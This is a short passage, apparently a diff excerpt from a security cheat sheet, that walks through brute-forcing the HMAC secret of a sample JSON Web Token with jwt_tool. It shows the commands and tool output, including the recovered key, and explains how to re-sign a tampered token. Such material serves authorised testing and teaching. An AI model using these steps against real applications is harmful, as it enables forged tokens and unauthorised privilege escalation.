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@ -188,20 +188,23 @@ First, bruteforce the "secret" key used to compute the signature.
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```powershell
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git clone https://github.com/ticarpi/jwt_tool
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python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist
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python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
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Token header values:
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[+] alg = HS256
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[+] typ = JWT
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\ \ \ \ \ \
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\__ | | \ |\__ __| \__ __| |
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| | \ | | | \ \ |
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| \ | | | __ \ __ \ |
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\ | _ | | | | | | | |
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| | / \ | | | | | | | |
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\ | / \ | | |\ |\ | |
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\______/ \__/ \__| \__| \__| \______/ \______/ \__|
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Version 2.2.2 \______| @ticarpi
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Token payload values:
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[+] sub = 1234567890
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[+] role = user
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[+] iat = 1516239022
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Original JWT:
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File loaded: /tmp/wordlist
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Testing 5 passwords...
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[+] secret is the CORRECT key!
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You can tamper/fuzz the token contents (-T/-I) and sign it using:
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python3 jwt_tool.py [options here] -S HS256 -p "secret"
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```
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Then edit the field inside the JSON Web Token.
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